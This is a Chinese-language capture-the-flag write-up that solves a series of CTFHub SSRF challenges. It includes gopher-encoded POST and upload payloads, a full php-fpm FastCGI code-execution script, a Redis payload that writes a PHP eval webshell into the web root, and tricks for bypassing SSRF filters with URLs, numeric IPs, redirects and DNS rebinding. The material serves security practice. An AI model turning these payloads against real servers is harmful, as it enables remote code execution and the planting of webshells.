主要学习一下内网中各种常用的协议,一步步来

前言

SSRF漏洞的主要成因主要是因为Web应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤

攻击者利用SSRF可以实现的攻击如下:

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
  2. 攻击运行在内网或本地的应用程序(比如溢出);
  3. 对内网web应用进行指纹识别,通过访问默认文件实现;
  4. 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
  5. 利用file协议读取本地文件等。

CTFHub上的题

内网访问

题目提示尝试访问位于127.0.0.1的flag.php吧

http协议直接读了

?url=http://127.0.0.1/flag.php

伪协议读取文件

题目提示尝试去读取一下Web目录下的flag.php吧

file协议读取文件,需要绝对路径

?url=file:///var/www/html/flag.php

我们可以再读一下index.php看看漏洞代码,代码如下:

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

可以看到,这里使用的是PHP cURL 函数来进行数据的获取,具体可参考 -> PHP cURL 函数

支持http、https、ftp、gopher、telnet、dict、file和ldap协议

端口扫描

题目提示来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

http请求,放到bp里跑一下端口即可,当然也可以先用dict协议来进行端口探测,然后再使用http来访问内容

?url=http://127.0.0.1:8704

POST请求

题目提示这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

扫描结果如下

访问flag.php提示Just View From 127.0.0.1

利用SSRF请求

另外用file可以读到源码

flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

可以看到需要POST一个key,并且key要等于md5(flag),才可以拿到flag,并且需要$_SERVER["REMOTE_ADDR"] == "127.0.0.1"

key前面是拿到了的,为bacd40b119dfa24fa24640331508799f

于是利用gopher协议发包

数据包为

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=bacd40b119dfa24fa24640331508799f

用python请求,exp如下

import urllib.parse
import requests

url = "http://challenge-27a1758eb0df6f71.sandbox.ctfhub.com:10800/?url="

payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=bacd40b119dfa24fa24640331508799f
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

r = requests.get(url=url+result)
print(r.text)
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253Dbacd40b119dfa24fa24640331508799f%250D%250A

请求结果如下

上传文件

题目提示这次需要上传一个文件到flag.php了.祝你好运

http请求一下flag.php

file读下源码

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

写个文件上传的表单

<form enctype="multipart/form-data" action="http://127.0.0.1/flag.php" method="post">
    <input type="file" name="NewFile" size="50"><br>
    <input id="upload" type="submit" value="Upload">
</form>

随便传个文件把包抓下来

数据包为

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 182
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqFOX61XFhjO2CFJN

------WebKitFormBoundaryqFOX61XFhjO2CFJN
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

abcd
------WebKitFormBoundaryqFOX61XFhjO2CFJN--

还是和上一个一样,exp如下

import urllib.parse
import requests

url = "http://challenge-db30f38f11747128.sandbox.ctfhub.com:10800/?url="

payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 182
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqFOX61XFhjO2CFJN

------WebKitFormBoundaryqFOX61XFhjO2CFJN
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/png

abcd
------WebKitFormBoundaryqFOX61XFhjO2CFJN--
"""

tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

r = requests.get(url=url+result)
print(r.text)
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520182%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryqFOX61XFhjO2CFJN%250D%250A%250D%250A------WebKitFormBoundaryqFOX61XFhjO2CFJN%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.png%2522%250D%250AContent-Type%253A%2520image/png%250D%250A%250D%250Aabcd%250D%250A------WebKitFormBoundaryqFOX61XFhjO2CFJN--%250D%250A

请求结果如下

FastCGI协议

题目提示这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

直接看P🐮的这个 https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

利用方法参考 https://bbs.ichunqiu.com/thread-58455-1-1.html

理解原理后直接利用,利用脚本地址 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

我这里放这存一个

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

找flag:

python .\fpm.py "172.22.73.110" "/var/www/html/index.php" -c "<?php system('ls;ls /'); exit; ?>" -p 2333

wsl上监听2333端口用来接收flag,并将结果保存到fcg_exp.txt文件

gopher%3A//127.0.0.1%3A9000/_%2501%2501%25E7%25F4%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%25E7%25F4%2501%25DB%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250E%2504REQUEST_METHODPOST%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250B%2517SCRIPT_NAME/var/www/html/index.php%250C%2500QUERY_STRING%250B%2517REQUEST_URI/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2510CONTENT_TYPEapplication/text%250E%2502CONTENT_LENGTH33%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%2501%2504%25E7%25F4%2500%2500%2500%2500%2501%2505%25E7%25F4%2500%2521%2500%2500%253C%253Fphp%2520system%2528%2527ls%253Bls%2520/%2527%2529%253B%2520exit%253B%2520%253F%253E%2501%2505%25E7%25F4%2500%2500%2500%2500

然后再将文件读取出来得到有效的payload直接打

from urllib.parse import quote, unquote, urlencode
import requests

url = "http://challenge-3c0ef6982bf49126.sandbox.ctfhub.com:10800/?url="

file = open('fcg_exp.txt','rb')
payload = file.read()
result = quote("gopher://127.0.0.1:9000/_"+quote(payload).replace("%0A","%0D").replace("%2F","/"))
print(result)

r = requests.get(url=url+result)
print(r.text)

看到flag文件flag_488cfa9618a27d4323c5cf9791dd2bcc

最后直接读文件

python .\fpm.py "172.22.73.110" "/var/www/html/index.php" -c "<?php system('cat \'/flag_488cfa9618a27d4323c5cf9791dd2bcc\''); exit; ?>" -p 2333

gopher%3A//127.0.0.1%3A9000/_%2501%2501%2595%2594%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2595%2594%2501%25DB%2500%2500%2511%250BGATEWAY_INTERFACEFastCGI/1.0%250E%2504REQUEST_METHODPOST%250F%2517SCRIPT_FILENAME/var/www/html/index.php%250B%2517SCRIPT_NAME/var/www/html/index.php%250C%2500QUERY_STRING%250B%2517REQUEST_URI/var/www/html/index.php%250D%2501DOCUMENT_ROOT/%250F%250ESERVER_SOFTWAREphp/fcgiclient%250B%2509REMOTE_ADDR127.0.0.1%250B%2504REMOTE_PORT9985%250B%2509SERVER_ADDR127.0.0.1%250B%2502SERVER_PORT80%250B%2509SERVER_NAMElocalhost%250F%2508SERVER_PROTOCOLHTTP/1.1%250C%2510CONTENT_TYPEapplication/text%250E%2502CONTENT_LENGTH69%2509%251FPHP_VALUEauto_prepend_file%2520%253D%2520php%253A//input%250F%2516PHP_ADMIN_VALUEallow_url_include%2520%253D%2520On%2501%2504%2595%2594%2500%2500%2500%2500%2501%2505%2595%2594%2500E%2500%2500%253C%253Fphp%2520system%2528%2527find%2520/%2520-name%2520%255C%2527%252A%255C%2527%2520%257C%2520xargs%2520grep%2520%255C%2527ctfhub%257B%255C%2527%2527%2529%253B%2520exit%253B%2520%253F%253E%2501%2505%2595%2594%2500%2500%2500%2500

Redis协议

题目提示这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

使用脚本生成payload,python2下跑

import urllib,requests

protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"shell\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    result = urllib.quote(payload)
    print result
gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522shell%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

将生成的结果直接传给url,访问

然后访问shell.php

可以看到成功写入,然后找flag,直接cat即可

URL Bypass

题目提示请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

可以用@绕过,http://whoami@127.0.0.1实际上是以用户名 whoami 连接到站点127.0.0.1

payload

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass

题目提示这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

可以用十进制绕过,当然也可以是用八进制或者十六进制,但是都需要用到.

?url=http://2130706433/flag.php

另外还有一种思路,利用其他各种指向127.0.0.1的地址,学习了

http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

302跳转 Bypass

题目提示SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

还是上面一样的方法直接绕了

另外还有一种方法,用短链接,http://4m.cn

DNS重绑定 Bypass

题目提示关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

附件给的链接:https://zhuanlan.zhihu.com/p/89426041

理解后实践

我们在 https://lock.cmpxchg8b.com/rebinder.html 这个网站上获取一个测试用的域名,当然这个网站目的就是用来测DNS重绑定漏洞的,拿到生成的域名7f000001.2f6aa0b0.rbndr.us

请求,如果是404就按F5刷新

参考